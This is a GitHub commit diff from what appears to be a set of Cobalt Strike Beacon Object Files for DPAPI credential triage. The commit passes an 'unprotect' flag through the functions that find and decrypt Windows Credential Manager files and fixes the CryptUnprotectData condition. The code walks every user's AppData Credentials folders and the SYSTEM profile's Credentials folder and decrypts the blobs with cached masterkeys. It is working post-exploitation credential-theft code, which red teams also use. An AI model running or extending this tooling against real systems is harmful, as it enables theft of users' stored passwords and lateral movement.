Skip to content

Commit 13dcb8e

Browse files
bhanunamikzebhanunamikze
bhanunamikze
authored and
bhanunamikze
committed
feat: wire unprotect flag through credential triage chain
- Add BOOL unprotect param to describe_credential, triage_cred_file, triage_cred_folder, triage_user_creds, triage_system_creds - Fix CryptUnprotectData guard: was 'unprotect && !cache' (always false since cache is never NULL) → now just 'unprotect' - Update all 4 callers (credentials.c, machinecredentials.c, machinetriage.c, triage_user_full) with FALSE default
1 parent 6c1c269 commit 13dcb8e

File tree

7 files changed

+30
-22
lines changed

7 files changed

+30
-22
lines changed

‎include/dpapi_common.h‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -136,6 +136,7 @@ char* get_sid_from_bkfile(const BYTE* bk_bytes, int bk_len);
136136
/* ---- Credential Parsing ---- */
137137
BOOL describe_credential(const BYTE* data, int data_len,
138138
MASTERKEY_CACHE* cache,
139+
BOOL unprotect,
139140
char** output);
140141

141142
BOOL parse_dec_cred_blob(const BYTE* data, int data_len, char** output);

‎include/triage.h‎

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -25,15 +25,19 @@ BOOL triage_system_masterkeys(MASTERKEY_CACHE* cache);
2525
/* ---- Credential Triage ---- */
2626
BOOL triage_user_creds(MASTERKEY_CACHE* cache,
2727
const wchar_t* target,
28-
const wchar_t* server);
28+
const wchar_t* server,
29+
BOOL unprotect);
2930

30-
BOOL triage_system_creds(MASTERKEY_CACHE* cache);
31+
BOOL triage_system_creds(MASTERKEY_CACHE* cache,
32+
BOOL unprotect);
3133

3234
BOOL triage_cred_folder(MASTERKEY_CACHE* cache,
33-
const wchar_t* folder);
35+
const wchar_t* folder,
36+
BOOL unprotect);
3437

3538
BOOL triage_cred_file(MASTERKEY_CACHE* cache,
36-
const wchar_t* file_path);
39+
const wchar_t* file_path,
40+
BOOL unprotect);
3741

3842
/* ---- Vault Triage ---- */
3943
BOOL triage_user_vaults(MASTERKEY_CACHE* cache,

‎src/bofs/credentials.c‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -83,14 +83,14 @@ void go(char* args, int args_len) {
8383
#endif
8484
if (attrs != INVALID_FILE_ATTRIBUTES) {
8585
if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
86-
triage_cred_folder(&cache, target);
86+
triage_cred_folder(&cache, target, FALSE);
8787
} else {
88-
triage_cred_file(&cache, target);
88+
triage_cred_file(&cache, target, FALSE);
8989
}
9090
}
9191
} else {
9292
/* Triage all user credential stores */
93-
triage_user_creds(&cache, NULL, server);
93+
triage_user_creds(&cache, NULL, server, FALSE);
9494
}
9595

9696
if (cache.count > 0) {

‎src/bofs/machinecredentials.c‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ void go(char* args, int args_len) {
4444
cache.count);
4545

4646
/* Step 2: Triage SYSTEM credential files */
47-
triage_system_creds(&cache);
47+
triage_system_creds(&cache, FALSE);
4848

4949
mk_cache_free(&cache);
5050
}

‎src/bofs/machinetriage.c‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ void go(char* args, int args_len) {
4545

4646
/* Step 2: Triage credentials */
4747
BeaconPrintf(CALLBACK_OUTPUT, "[*] --- Machine Credentials ---\n");
48-
triage_system_creds(&cache);
48+
triage_system_creds(&cache, FALSE);
4949

5050
/* Step 3: Triage vaults */
5151
BeaconPrintf(CALLBACK_OUTPUT, "\n[*] --- Machine Vaults ---\n");

‎src/common/dpapi.c‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -303,7 +303,7 @@ BOOL describe_dpapi_blob(const BYTE* raw, int raw_len,
303303
}
304304

305305
/* CryptUnprotectData path (for /unprotect flag) */
306-
if (unprotect && !cache) {
306+
if (unprotect) {
307307
DATA_BLOB dataIn, dataOut;
308308
dataIn.pbData = (BYTE*)raw;
309309
dataIn.cbData = raw_len;
@@ -553,6 +553,7 @@ BOOL derive_pre_key(const char* password, const char* sid,
553553

554554
BOOL describe_credential(const BYTE* data, int data_len,
555555
MASTERKEY_CACHE* cache,
556+
BOOL unprotect,
556557
char** output) {
557558
/*
558559
* Credential file structure:
@@ -575,7 +576,7 @@ BOOL describe_credential(const BYTE* data, int data_len,
575576
if (blob_offset >= data_len) return FALSE;
576577

577578
return describe_dpapi_blob(data + blob_offset, data_len - blob_offset,
578-
cache, FALSE, output);
579+
cache, unprotect, output);
579580
}
580581

581582
/* ---- Parse decrypted credential blob ---- */

‎src/common/triage.c‎

Lines changed: 13 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -464,6 +464,7 @@ BOOL triage_system_masterkeys(MASTERKEY_CACHE* cache) {
464464
typedef struct {
465465
MASTERKEY_CACHE* cache;
466466
int found;
467+
BOOL unprotect;
467468
} CRED_TRIAGE_CTX;
468469

469470
static void triage_cred_file_cb(const wchar_t* path, void* ctx) {
@@ -477,27 +478,28 @@ static void triage_cred_file_cb(const wchar_t* path, void* ctx) {
477478
BeaconPrintf(CALLBACK_OUTPUT, "\n CredFile : %s\n", path_str ? path_str : "?");
478479
if (path_str) intFree(path_str);
479480

480-
describe_credential(data, data_len, tc->cache, NULL);
481+
describe_credential(data, data_len, tc->cache, tc->unprotect, NULL);
481482
tc->found++;
482483

483484
intFree(data);
484485
}
485486

486-
BOOL triage_cred_file(MASTERKEY_CACHE* cache, const wchar_t* file_path) {
487-
CRED_TRIAGE_CTX ctx = { cache, 0 };
487+
BOOL triage_cred_file(MASTERKEY_CACHE* cache, const wchar_t* file_path, BOOL unprotect) {
488+
CRED_TRIAGE_CTX ctx = { cache, 0, unprotect };
488489
triage_cred_file_cb(file_path, &ctx);
489490
return (ctx.found > 0);
490491
}
491492

492-
BOOL triage_cred_folder(MASTERKEY_CACHE* cache, const wchar_t* folder) {
493-
CRED_TRIAGE_CTX ctx = { cache, 0 };
493+
BOOL triage_cred_folder(MASTERKEY_CACHE* cache, const wchar_t* folder, BOOL unprotect) {
494+
CRED_TRIAGE_CTX ctx = { cache, 0, unprotect };
494495
enumerate_files(folder, NULL, triage_cred_file_cb, &ctx);
495496
return (ctx.found > 0);
496497
}
497498

498499
BOOL triage_user_creds(MASTERKEY_CACHE* cache,
499500
const wchar_t* target,
500-
const wchar_t* server) {
501+
const wchar_t* server,
502+
BOOL unprotect) {
501503
BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Triaging user credentials...\n");
502504

503505
int user_count = 0;
@@ -506,11 +508,11 @@ BOOL triage_user_creds(MASTERKEY_CACHE* cache,
506508
for (int i = 0; i < user_count; i++) {
507509
wchar_t cred_path[MAX_PATH * 2];
508510
swprintf(cred_path, L"%s\\AppData\\Roaming\\Microsoft\\Credentials", users[i]);
509-
triage_cred_folder(cache, cred_path);
511+
triage_cred_folder(cache, cred_path, unprotect);
510512

511513
/* Also check Local\Credentials */
512514
swprintf(cred_path, L"%s\\AppData\\Local\\Microsoft\\Credentials", users[i]);
513-
triage_cred_folder(cache, cred_path);
515+
triage_cred_folder(cache, cred_path, unprotect);
514516
}
515517

516518
for (int i = 0; i < user_count; i++) intFree(users[i]);
@@ -519,11 +521,11 @@ BOOL triage_user_creds(MASTERKEY_CACHE* cache,
519521
return TRUE;
520522
}
521523

522-
BOOL triage_system_creds(MASTERKEY_CACHE* cache) {
524+
BOOL triage_system_creds(MASTERKEY_CACHE* cache, BOOL unprotect) {
523525
BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Triaging system credentials...\n");
524526

525527
wchar_t path[] = L"C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials";
526-
return triage_cred_folder(cache, path);
528+
return triage_cred_folder(cache, path, unprotect);
527529
}
528530

529531
/* ============================================================
@@ -738,7 +740,7 @@ BOOL triage_user_full(MASTERKEY_CACHE* cache,
738740
}
739741

740742
BeaconPrintf(CALLBACK_OUTPUT, "\n[*] --- User Credentials ---\n");
741-
triage_user_creds(cache, target, server);
743+
triage_user_creds(cache, target, server, FALSE);
742744

743745
BeaconPrintf(CALLBACK_OUTPUT, "\n[*] --- User Vaults ---\n");
744746
triage_user_vaults(cache, target, server);

0 commit comments

Comments
 (0)